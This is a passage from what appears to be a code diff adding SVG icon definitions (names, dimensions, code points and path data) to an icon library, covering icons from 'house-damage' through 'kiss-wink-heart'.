24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z" ], + "house-damage": [ 576, 512, [], "f6f1", "M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z" ], + "house-user": [ 576, 512, [], "e065", "M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z" ], + hryvnia: [ 384, 512, [], "f6f2", "M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z" ], + "i-cursor": [ 256, 512, [], "f246", "M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z" ], + "ice-cream": [ 448, 512, [], "f810", "M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z" ], + icicles: [ 512, 512, [], "f7ad", "M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z" ], + icons: [ 512, 512, [], "f86d", "M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z" ], + "id-badge": [ 384, 512, [], "f2c1", "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" ], + "id-card": [ 576, 512, [], "f2c2", "M528 32H48C21.5 32 0 53.5 0 80v16h576V80c0-26.5-21.5-48-48-48zM0 432c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V128H0v304zm352-232c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zm0 64c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H360c-4.4 0-8-3.6-8-8v-16zM176 192c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zM67.1 396.2C75.5 370.5 99.6 352 128 352h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.9-5.2 19.8-15.6 19.8H82.7c-10.4 0-18.8-10-15.6-19.8z" ], + "id-card-alt": [ 576, 512, [], "f47f", "M528 64H384v96H192V64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM288 224c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm93.3 224H194.7c-10.4 0-18.8-10-15.6-19.8 8.3-25.6 32.4-44.2 60.9-44.2h8.2c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h8.2c28.4 0 52.5 18.5 60.9 44.2 3.2 9.8-5.2 19.8-15.6 19.8zM352 32c0-17.7-14.3-32-32-32h-64c-17.7 0-32 14.3-32 32v96h128V32z" ], + igloo: [ 576, 512, [], "f7ae", "M320 33.9c-10.5-1.2-21.2-1.9-32-1.9-99.8 0-187.8 50.8-239.4 128H320V33.9zM96 192H30.3C11.1 230.6 0 274 0 320h96V192zM352 39.4V160h175.4C487.2 99.9 424.8 55.9 352 39.4zM480 320h96c0-46-11.1-89.4-30.3-128H480v128zm-64 64v96h128c17.7 0 32-14.3 32-32v-96H411.5c2.6 10.3 4.5 20.9 4.5 32zm32-192H128v128h49.8c22.2-38.1 63-64 110.2-64s88 25.9 110.2 64H448V192zM0 448c0 17.7 14.3 32 32 32h128v-96c0-11.1 1.9-21.7 4.5-32H0v96zm288-160c-53 0-96 43-96 96v96h192v-96c0-53-43-96-96-96z" ], + image: [ 512, 512, [], "f03e", "M464 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM112 120c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56zM64 384h384V272l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L208 320l-55.515-55.515c-4.686-4.686-12.284-4.686-16.971 0L64 336v48z" ], + images: [ 576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v208c0 44.112 35.888 80 80 80h336zm96-80V80c0-26.51-21.49-48-48-48H144c-26.51 0-48 21.49-48 48v256c0 26.51 21.49 48 48 48h384c26.51 0 48-21.49 48-48zM256 128c0 26.51-21.49 48-48 48s-48-21.49-48-48 21.49-48 48-48 48 21.49 48 48zm-96 144l55.515-55.515c4.686-4.686 12.284-4.686 16.971 0L272 256l135.515-135.515c4.686-4.686 12.284-4.686 16.971 0L512 208v112H160v-48z" ], + inbox: [ 576, 512, [], "f01c", "M567.938 243.908L462.25 85.374A48.003 48.003 0 0 0 422.311 64H153.689a48 48 0 0 0-39.938 21.374L8.062 243.908A47.994 47.994 0 0 0 0 270.533V400c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V270.533a47.994 47.994 0 0 0-8.062-26.625zM162.252 128h251.497l85.333 128H376l-32 64H232l-32-64H76.918l85.334-128z" ], + indent: [ 448, 512, [], "f03c", "M27.31 363.3l96-96a16 16 0 0 0 0-22.62l-96-96C17.27 138.66 0 145.78 0 160v192c0 14.31 17.33 21.3 27.31 11.3zM432 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm3.17-128H204.83A12.82 12.82 0 0 0 192 300.83v38.34A12.82 12.82 0 0 0 204.83 352h230.34A12.82 12.82 0 0 0 448 339.17v-38.34A12.82 12.82 0 0 0 435.17 288zm0-128H204.83A12.82 12.82 0 0 0 192 172.83v38.34A12.82 12.82 0 0 0 204.83 224h230.34A12.82 12.82 0 0 0 448 211.17v-38.34A12.82 12.82 0 0 0 435.17 160zM432 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z" ], + industry: [ 512, 512, [], "f275", "M475.115 163.781L336 252.309v-68.28c0-18.916-20.931-30.399-36.885-20.248L160 252.309V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56v400c0 13.255 10.745 24 24 24h464c13.255 0 24-10.745 24-24V184.029c0-18.917-20.931-30.399-36.885-20.248z" ], + infinity: [ 640, 512, [], "f534", "M471.1 96C405 96 353.3 137.3 320 174.6 286.7 137.3 235 96 168.9 96 75.8 96 0 167.8 0 256s75.8 160 168.9 160c66.1 0 117.8-41.3 151.1-78.6 33.3 37.3 85 78.6 151.1 78.6 93.1 0 168.9-71.8 168.9-160S564.2 96 471.1 96zM168.9 320c-40.2 0-72.9-28.7-72.9-64s32.7-64 72.9-64c38.2 0 73.4 36.1 94 64-20.4 27.6-55.9 64-94 64zm302.2 0c-38.2 0-73.4-36.1-94-64 20.4-27.6 55.9-64 94-64 40.2 0 72.9 28.7 72.9 64s-32.7 64-72.9 64z" ], + info: [ 192, 512, [], "f129", "M20 424.229h20V279.771H20c-11.046 0-20-8.954-20-20V212c0-11.046 8.954-20 20-20h112c11.046 0 20 8.954 20 20v212.229h20c11.046 0 20 8.954 20 20V492c0 11.046-8.954 20-20 20H20c-11.046 0-20-8.954-20-20v-47.771c0-11.046 8.954-20 20-20zM96 0C56.235 0 24 32.235 24 72s32.235 72 72 72 72-32.235 72-72S135.764 0 96 0z" ], + "info-circle": [ 512, 512, [], "f05a", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 110c23.196 0 42 18.804 42 42s-18.804 42-42 42-42-18.804-42-42 18.804-42 42-42zm56 254c0 6.627-5.373 12-12 12h-88c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h12v-64h-12c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h64c6.627 0 12 5.373 12 12v100h12c6.627 0 12 5.373 12 12v24z" ], + italic: [ 320, 512, [], "f033", "M320 48v32a16 16 0 0 1-16 16h-62.76l-80 320H208a16 16 0 0 1 16 16v32a16 16 0 0 1-16 16H16a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h62.76l80-320H112a16 16 0 0 1-16-16V48a16 16 0 0 1 16-16h192a16 16 0 0 1 16 16z" ], + jedi: [ 576, 512, [], "f669", "M535.95308,352c-42.64069,94.17188-137.64086,160-247.9848,160q-6.39844,0-12.84377-.29688C171.15558,506.9375,81.26481,442.23438,40.01474,352H79.93668L21.3272,293.40625a264.82522,264.82522,0,0,1-5.10938-39.42187,273.6653,273.6653,0,0,1,.5-29.98438H63.93665L22.546,182.625A269.79782,269.79782,0,0,1,130.51489,20.54688a16.06393,16.06393,0,0,1,9.28127-3,16.36332,16.36332,0,0,1,13.5,7.25,16.02739,16.02739,0,0,1,1.625,15.09374,138.387,138.387,0,0,0-9.84376,51.26563c0,45.10937,21.04691,86.57813,57.71884,113.73437a16.29989,16.29989,0,0,1,1.20313,25.39063c-26.54692,23.98437-41.17194,56.5-41.17194,91.57813,0,60.03124,42.95319,110.28124,99.89079,121.92187l2.5-65.26563L238.062,397a8.33911,8.33911,0,0,1-10-.75,8.025,8.025,0,0,1-1.39063-9.9375l20.125-33.76562-42.06257-8.73438a7.9898,7.9898,0,0,1,0-15.65625l42.06257-8.71875-20.10941-33.73438a7.99122,7.99122,0,0,1,11.35939-10.71874L268.437,295.64062,279.95265,7.67188a7.97138,7.97138,0,0,1,8-7.67188h.04687a8.02064,8.02064,0,0,1,7.95314,7.70312L307.48394,295.625l30.39068-20.67188a8.08327,8.08327,0,0,1,10,.8125,7.99866,7.99866,0,0,1,1.39062,9.90626L329.12461,319.4375l42.07819,8.73438a7.99373,7.99373,0,0,1,0,15.65624l-42.07819,8.71876,20.1094,33.73437a7.97791,7.97791,0,0,1-1.32812,9.92187A8.25739,8.25739,0,0,1,337.87462,397L310.7027,378.53125l2.5,65.34375c48.48446-9.40625,87.57828-48.15625,97.31267-96.5A123.52652,123.52652,0,0,0,371.9528,230.29688a16.30634,16.30634,0,0,1,1.20313-25.42188c36.65631-27.17188,57.6876-68.60938,57.6876-113.73438a138.01689,138.01689,0,0,0-9.85939-51.3125,15.98132,15.98132,0,0,1,1.60937-15.09374,16.36914,16.36914,0,0,1,13.5-7.23438,16.02453,16.02453,0,0,1,9.25,2.98438A271.26947,271.26947,0,0,1,553.25,182.76562L511.99992,224h46.9532C559.3125,229.76562,560,235.45312,560,241.26562a270.092,270.092,0,0,1-5.125,51.85938L495.98427,352Z" ], + joint: [ 640, 512, [], "f595", "M444.34 181.1c22.38 15.68 35.66 41.16 35.66 68.59V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-43.24-21.01-83.41-56.34-108.06C463.85 125.02 448 99.34 448 70.31V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v66.4c0 43.69 24.56 81.63 60.34 106.7zM194.97 358.98C126.03 370.07 59.69 394.69 0 432c83.65 52.28 180.3 80 278.94 80h88.57L254.79 380.49c-14.74-17.2-37.45-25.11-59.82-21.51zM553.28 87.09c-5.67-3.8-9.28-9.96-9.28-16.78V8c0-4.42-3.58-8-8-8h-48c-4.42 0-8 3.58-8 8v62.31c0 22.02 10.17 43.41 28.64 55.39C550.79 153.04 576 199.54 576 249.69V280c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-30.31c0-65.44-32.41-126.19-86.72-162.6zM360.89 352.05c-34.4.06-86.81.15-88.21.17l117.8 137.43A63.987 63.987 0 0 0 439.07 512h88.45L409.57 374.4a63.955 63.955 0 0 0-48.68-22.35zM616 352H432l117.99 137.65A63.987 63.987 0 0 0 598.58 512H616c13.25 0 24-10.75 24-24V376c0-13.26-10.75-24-24-24z" ], + "journal-whills": [ 448, 512, [], "f66a", "M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z" ], + kaaba: [ 576, 512, [], "f66b", "M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z" ], + key: [ 512, 512, [], "f084", "M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z" ], + keyboard: [ 576, 512, [], "f11c", "M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z" ], + khanda: [ 512, 512, [], "f66d", "M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z" ], + kiss: [ 496, 512, [], "f596", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "kiss-beam": [ 496, 512, [], "f597", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z" ], + "kiss-wink-heart": [ 504, 512, [], "f598", "M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 